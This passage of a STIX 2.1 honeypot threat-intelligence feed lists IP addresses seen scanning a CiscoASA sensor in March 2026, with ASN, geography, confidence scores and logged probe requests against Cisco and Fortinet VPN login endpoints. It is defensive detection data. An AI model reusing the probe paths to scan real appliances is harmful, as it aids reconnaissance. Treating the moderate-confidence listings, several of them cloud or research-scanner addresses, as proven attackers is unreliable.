        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:20:14.000Z",
      "valid_until": "2026-04-10T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-09T09:57:11.647Z",
          "last_seen": "2026-03-09T09:57:11.647Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--74b7d640-29b1-49bd-8b43-b01938278611",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:20:11.000Z",
      "valid_until": "2026-04-10T11:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-09T10:33:34.473Z",
          "last_seen": "2026-03-09T10:34:01.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 202425 (IP Volume inc)",
      "id": "indicator--5607362d-1a85-4dde-a180-9407fa276198",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:20:11.000Z",
      "valid_until": "2026-04-10T11:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T11:03:42.508Z",
          "last_seen": "2026-03-09T11:03:45.510Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202425,
          "as_org": "IP Volume inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T16:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: GB; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--7fe2ec60-bed8-48c6-a54e-3a24f13936a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.129.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:20:12.000Z",
      "valid_until": "2026-04-10T16:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 20,
          "first_seen": "2026-03-09T15:45:10.858Z",
          "last_seen": "2026-03-09T15:46:03.471Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T16:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BE; ASN 396982 (Google LLC)",
      "id": "indicator--39349796-c889-4573-8936-33213e4dad2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.38.142.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:20:12.000Z",
      "valid_until": "2026-04-10T16:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T15:46:25.983Z",
          "last_seen": "2026-03-09T15:46:31.179Z",
          "country": "Belgium",
          "country_code": "BE",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PH; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--14199dee-946c-4030-96c0-f78a988ea38b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.100.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T19:20:13.000Z",
      "valid_until": "2026-04-10T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-09T19:04:39.901Z",
          "last_seen": "2026-03-09T19:05:21.868Z",
          "country": "Philippines",
          "country_code": "PH",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T20:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--56b7b4ba-f5c2-45cc-8f1c-957ea03a6816",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.116.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:20:06.000Z",
      "valid_until": "2026-04-10T20:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T19:46:15.491Z",
          "last_seen": "2026-03-09T19:46:18.494Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T20:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--bb4f14ab-ac8f-47d7-ab31-eda1b813e990",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:20:06.000Z",
      "valid_until": "2026-04-10T20:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T19:55:36.722Z",
          "last_seen": "2026-03-09T19:55:39.723Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T21:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--f8f4fec9-946a-4c42-bcdf-25d6f1bc13fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.118.209.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:20:02.000Z",
      "valid_until": "2026-04-10T21:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T20:25:48.153Z",
          "last_seen": "2026-03-09T20:25:51.155Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T22:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--15710d81-0f1f-4204-9b1f-189395ca563f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.129.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:20:13.000Z",
      "valid_until": "2026-04-10T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-09T22:09:57.026Z",
          "last_seen": "2026-03-09T22:10:15.686Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--4e30c505-4b0a-4f4e-8ca3-95a2a97a9869",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.24.34.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:20:13.000Z",
      "valid_until": "2026-04-11T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-10T00:52:00.695Z",
          "last_seen": "2026-03-10T00:52:03.698Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--415ab00b-b1fc-465f-a502-c7fb01f32c52",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.89.121.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:20:13.000Z",
      "valid_until": "2026-04-11T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T00:52:03.896Z",
          "last_seen": "2026-03-10T00:52:03.896Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--bcb31c96-ede6-4253-8214-b0eecde4b88c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.227.226.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:20:13.000Z",
      "valid_until": "2026-04-11T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T00:48:35.162Z",
          "last_seen": "2026-03-10T00:48:35.162Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T06:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--520ad52b-f06e-4d40-9b17-841a9cd52b5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:20:12.000Z",
      "valid_until": "2026-04-11T06:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T05:52:01.995Z",
          "last_seen": "2026-03-10T05:52:01.995Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T06:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--5274e960-d121-489c-87a3-92850493a2d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:20:12.000Z",
      "valid_until": "2026-04-11T06:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T05:51:57.949Z",
          "last_seen": "2026-03-10T05:51:57.949Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T06:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--81bc11ca-07ed-4350-b5aa-3952d4357f47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:20:12.000Z",
      "valid_until": "2026-04-11T06:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-10T05:51:37.518Z",
          "last_seen": "2026-03-10T05:51:40.520Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T06:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MY; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--c6c3d5a6-c6ab-477c-96e0-ca1ec4493d80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.250.178.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:20:12.000Z",
      "valid_until": "2026-04-11T06:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-10T05:51:01.906Z",
          "last_seen": "2026-03-10T05:51:04.909Z",
          "country": "Malaysia",
          "country_code": "MY",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T09:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: TW; ASN 142002 (Scloud Pte Ltd)",
      "id": "indicator--5e44cc05-2fe4-432b-9964-3f6e362183fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.227.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:20:02.000Z",
      "valid_until": "2026-04-11T09:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T09:15:52.785Z",
          "last_seen": "2026-03-10T09:15:52.785Z",
          "country": "Taiwan",
          "country_code": "TW",
          "asn": 142002,
          "as_org": "Scloud Pte Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: CN; ASN 58461 (CT-HangZhou-IDC)",
      "id": "indicator--5a5a6a33-157d-4db9-8134-adeb932fed14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '115.231.78.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 9,
          "first_seen": "2026-03-10T09:52:44.104Z",
          "last_seen": "2026-03-10T09:53:19.121Z",
          "country": "China",
          "country_code": "CN",
          "asn": 58461,
          "as_org": "CT-HangZhou-IDC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--19a174a7-f5c4-48a4-a78e-89558f36519d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '40.124.186.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-10T09:51:25.909Z",
          "last_seen": "2026-03-10T09:51:28.912Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--38ec0345-51da-4144-9816-545b366fb01a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 13,
          "first_seen": "2026-03-10T09:43:40.813Z",
          "last_seen": "2026-03-10T09:49:33.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
